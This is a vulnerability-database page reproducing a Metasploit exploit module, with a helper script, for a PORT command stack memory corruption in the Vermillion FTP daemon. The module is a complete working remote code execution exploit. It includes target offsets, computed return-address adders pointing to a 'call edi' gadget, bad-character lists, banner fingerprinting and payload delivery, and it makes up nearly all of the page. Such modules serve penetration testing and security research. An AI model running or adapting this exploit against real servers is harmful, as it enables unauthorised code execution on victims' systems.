Lucene search
K

Vermillion FTP Daemon PORT Command Memory Corruption

🗓️ 10 Feb 2010 00:00:00Reported by jduckType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 32 Views

Vermillion FTP Daemon PORT Command Memory Corruption exploi

Code
`##  
# $Id: vermillion_ftpd_port.rb 8410 2010-02-08 18:53:21Z swtornio $  
##  
  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::Remote::Ftp  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Vermillion FTP Daemon PORT Command Memory Corruption',  
'Description' => %q{  
This module exploits an out-of-bounds array access in the Arcane Software  
Vermillion FTP server. By sending an specially crafted FTP PORT command,  
an attacker can corrupt stack memory and execute arbitrary code.  
  
This particular issue is caused by processing data bound by attacker  
controlled input while writing into a 4 byte stack buffer. Unfortunately,  
the writing that occurs is not a simple byte copy.  
  
Processing is done using a source ptr (p) and a destination pointer (q).  
The vulnerable function walks the input string and continues while the  
source byte is non-null. If a comma is encountered, the function increments  
the the destination pointer. If an ascii digit [0-9] is encountered, the  
following occurs:  
  
*q = (*q * 10) + (*p - '0');  
  
All other input characters are ignored in this loop.  
  
As a consequence, an attacker must craft input such that modifications  
to the current values on the stack result in usable values. In this exploit,  
the low two bytes of the return address are adjusted to point at the  
location of a 'call edi' instruction within the binary. This was chosen  
since 'edi' points at the source buffer when the function returns.  
  
NOTE: This server can be installed as a service using "vftpd.exe install".  
If so, the service does not restart automatically, giving an attacker only  
one attempt.  
},  
'Author' =>  
[  
'jduck'  
],  
'References' =>  
[  
[ 'OSVDB', '62163' ],  
[ 'URL', 'http://www.exploit-db.com/exploits/11293' ],  
[ 'URL', 'http://www.global-evolution.info/news/files/vftpd/vftpd.txt' ]  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process'  
},  
'Privileged' => true,  
'Payload' =>  
{  
# format string max length  
'Space' => 1024,  
'BadChars' => "\x00\x08\x0a\x0d\x2c\xff",  
'DisableNops' => 'True'  
},  
'Platform' => 'win',  
'Targets' =>  
[  
#  
# Automatic targeting via fingerprinting  
#  
[ 'Automatic Targeting', { 'auto' => true } ],  
  
#  
# specific targets  
#  
[ 'vftpd 1.31 - Windows XP SP3 English',  
{  
'OldRet' => 0x405a73, # not used directly  
'Ret' => 0x4058e3, # not used directly  
# call edi in vftpd.exe (v1.31)  
'Offset' => 16, # distance to saved return  
'Adders' => "171,48" # adjust the bottom two bytes  
}  
]  
],  
'DisclosureDate' => 'Sep 23 2009',  
'DefaultTarget' => 0))  
  
register_options(  
[  
Opt::RPORT(21),  
], self.class )  
end  
  
  
def check  
connect  
disconnect  
print_status("FTP Banner: #{banner}".strip)  
if banner =~ /\(vftpd .*\)/  
return Exploit::CheckCode::Appears  
end  
return Exploit::CheckCode::Safe  
end  
  
  
def exploit  
  
# Use a copy of the target  
mytarget = target  
  
if (target['auto'])  
mytarget = nil  
  
print_status("Automatically detecting the target...")  
connect  
disconnect  
  
if (banner and (m = banner.match(/\(vftpd (.*)\)/))) then  
print_status("FTP Banner: #{banner.strip}")  
version = m[1]  
else  
print_status("No matching target")  
return  
end  
  
self.targets.each do |t|  
if (t.name =~ /#{version} - /) then  
mytarget = t  
break  
end  
end  
  
if (not mytarget)  
print_status("No matching target")  
return  
end  
  
print_status("Selected Target: #{mytarget.name}")  
else  
print_status("Trying target #{mytarget.name}...")  
end  
  
  
connect  
  
stuff = payload.encoded  
# skip 16 bytes  
stuff << "," * mytarget['Offset']  
# now we change the return address to be what we want  
stuff << mytarget['Adders']  
  
if (res = send_cmd(['PORT', stuff]))  
print_status(res.strip)  
end  
  
disconnect  
handler  
  
end  
  
end  
  
  
=begin  
  
NOTE: the following code was used to obtain the "Adders" target value.  
I'm not extremely pleased with this solution, but I haven't come up with  
a more elegant one...  
  
=========================  
#!/usr/bin/env ruby  
#  
# usage: ./find_adder.rb <old ret> <new ret>  
# example: ./find_adder.rb 0x405a73 0x004058e3  
#  
  
$old_ret = ARGV.shift.to_i(16)  
$new_ret = ARGV.shift.to_i(16)  
  
oret = [$old_ret].pack('V').unpack('C*')  
nret = [$new_ret].pack('V').unpack('C*')  
  
  
def process_idx(oret, nret, adders, idx)  
new_val = oret[idx]  
digits = adders[idx].to_s.unpack('C*')  
digits.each { |dig|  
dig -= 0x30  
new_val = (new_val * 10) + dig  
}  
return (new_val & 0xff)  
end  
  
  
# brute force approach!  
final_adders = [ nil, nil, nil, nil ]  
  
adders = []  
4.times { |idx|  
next if (oret[idx] == nret[idx])  
10.times { |x|  
10.times { |y|  
10.times { |z|  
adders[idx] = (x.to_s + y.to_s + z.to_s).to_i  
  
val = process_idx(oret, nret, adders, idx)  
if (val == nret[idx])  
final_adders[idx] = adders[idx]  
end  
  
break if (final_adders[idx])  
}  
break if (final_adders[idx])  
}  
break if (final_adders[idx])  
}  
}  
  
  
# check/print the solution  
eret = []  
4.times { |idx|  
eret << process_idx(oret, nret, adders, idx)  
}  
final = eret.pack('C*').unpack('V')[0]  
if (final == $new_ret)  
puts final_adders.join(',')  
exit(0)  
end  
  
puts "unable to find a valid solution!"  
exit(1)  
  
=end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Feb 2010 00:00Current
0.3Low risk
Vulners AI Score0.3
32